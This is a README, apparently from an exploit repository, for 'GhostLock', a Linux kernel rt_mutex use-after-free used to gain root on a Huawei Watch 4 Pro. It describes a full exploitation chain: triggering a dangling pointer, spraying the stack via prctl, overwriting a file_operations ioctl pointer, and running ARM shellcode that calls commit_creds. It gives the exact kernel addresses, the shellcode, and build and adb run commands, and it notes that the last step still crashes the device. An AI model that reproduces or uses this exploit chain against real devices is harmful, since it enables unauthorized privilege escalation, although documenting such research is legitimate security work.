## https://sploitus.com/exploit?id=15EAA031-95E5-5122-9C6C-38988B8C8280
# CVE-2026-43499 (GhostLock) β ARM32 Kernel Privilege Escalation Research
Linux kernel futex PI rt_mutex Use-After-Free vulnerability research and exploit
development targeting **Huawei Watch 4 Pro (MDS-AL00)**, Snapdragon SW5100,
armv7l, kernel 5.4.210.
## Vulnerability
`remove_waiter()` in kernel/locking/rt_mutex.c incorrectly uses `current`
instead of `waiter->task` during proxy-lock rollback, failing to clear
`pi_blocked_on` on the waiter task. This leaves a dangling pointer from
`task_struct` to a stack-allocated `rt_mutex_waiter` after the waiter's kernel
stack frame is freed β a classic stack Use-After-Free.
## Exploit Strategy
1. **Dangling pointer** β Trigger EDEADLK rollback via `futex(FUTEX_CMP_REQUEUE_PI)`
across three threads; waiter's `pi_blocked_on` points to freed stack.
2. **Stack spray (stamp)** β Use `prctl(PR_SET_NAME)` (option 15, unprivileged)
to copy 15 bytes of controlled data onto the kernel stack, overwriting the
fake waiter's `task`/`lock`/`prio` fields.
3. **Write primitive** β `sched_setattr()` triggers PI chain walk; the fake
waiter is enqueued into a forged `rt_mutex` overlapping a kernel
`file_operations` struct. Red-black tree insertion writes the waiter's
kernel stack address into `fops->unlocked_ioctl`.
4. **Code execution** β Re-stamp the waiter with position-independent ARM
shellcode; open a world-accessible character device and call `ioctl()`,
which dispatches through the overwritten `unlocked_ioctl` pointer into the
shellcode on the executable kernel stack.
5. **Privilege escalation** β Shellcode calls `commit_creds(waiter)` where the
waiter's first fields (set by `rb_insert_color`) form a fake `struct cred`
with uid/gid = 0.
## Current Status
- UAF trigger: **working** (verified on device)
- Stack stamp via prctl: **working**
- Single kernel stack-address write primitive: **working**
(overwrites `fops->unlocked_ioctl` with waiter stack address)
- Kernel stack confirmed executable (no PXN/NX on BSS/stack region)
- ioctl dispatch into shellcode: **causes device reboot** β under investigation
(likely sentinel UNPREDICTABLE instruction or register corruption in the
rb_insert_color / chain-walk path on Cortex-A7)
## Target Device
| Property | Value |
|---|---|
| Device | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| Kernel | 5.4.210 (32-bit ARM) |
| KASLR | disabled |
| PAN/SMAP | not present |
| PXN | absent on 0xc1b00000+ (stack/BSS executable) |
| CFI/PAC | not present |
## Key Kernel Addresses
```
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014cac8 (fast path, bx lr clean return)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
```
## Repository Layout
```
.
βββ README.md # This file
βββ boot.img # Target device boot image (32 MB)
βββ exploit/
β βββ ghostlock_arm32.c # Main ARM32 exploit source
β βββ ghostlock_arm32.h # Exploit definitions header
β βββ ghostlock_arm32 # Compiled static ARM binary
β βββ ghostlock_poc1.c # Initial crash POC
β βββ nebula_poc.c # Nebula team reference POC
βββ kernel/
β βββ kernel_raw.bin # Uncompressed kernel binary (28 MB)
β βββ kallsyms_parsed.txt # Extracted kernel symbol table
βββ analysis/ # 670+ Capstone-based reverse engineering
β βββ *.py # scripts and disassembly outputs used
β βββ *.txt # during the research process
βββ references/
βββ ghostlock/ # Earlier exploit iterations (PoC through
β βββ src/ # tracepoint/cred/oneplus variants)
β βββ bin/ # Compiled earlier versions
β βββ old/ # Initial crash PoCs
β βββ README.md
β βββ RESEARCH_NOTES.md
βββ ref_tc3650/ # TC3650 ARM32 reference exploit materials
```
## Building
```bash
arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
```
## Running
```bash
adb push ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
```
## Shellcode
12-byte position-independent ARM Thumb shellcode stamped at waiter+0x18:
```asm
sub r0, pc, #0x20 @ r0 = waiter (fake cred), PC-relative
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014cac8 @ commit_creds address
```
`commit_creds()` fast path writes `current->cred = r0` and returns via `bx lr`
back into `do_vfs_ioctl`, which returns normally to userspace.
## file_operations Layout Note
This vendor kernel's `struct file_operations` has an extra 4-byte field at
offset +0x24 (between `poll` and `unlocked_ioctl`), shifting all subsequent
members by 4 bytes relative to standard Linux 5.4:
```
+0x04 llseek +0x20 poll
+0x08 read +0x24
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
```
This was verified by disassembling ashmem and null fops handlers.
## Disclaimer
This repository is for **security research and education only**. Do not use
these techniques on devices you do not own or lack authorization to test.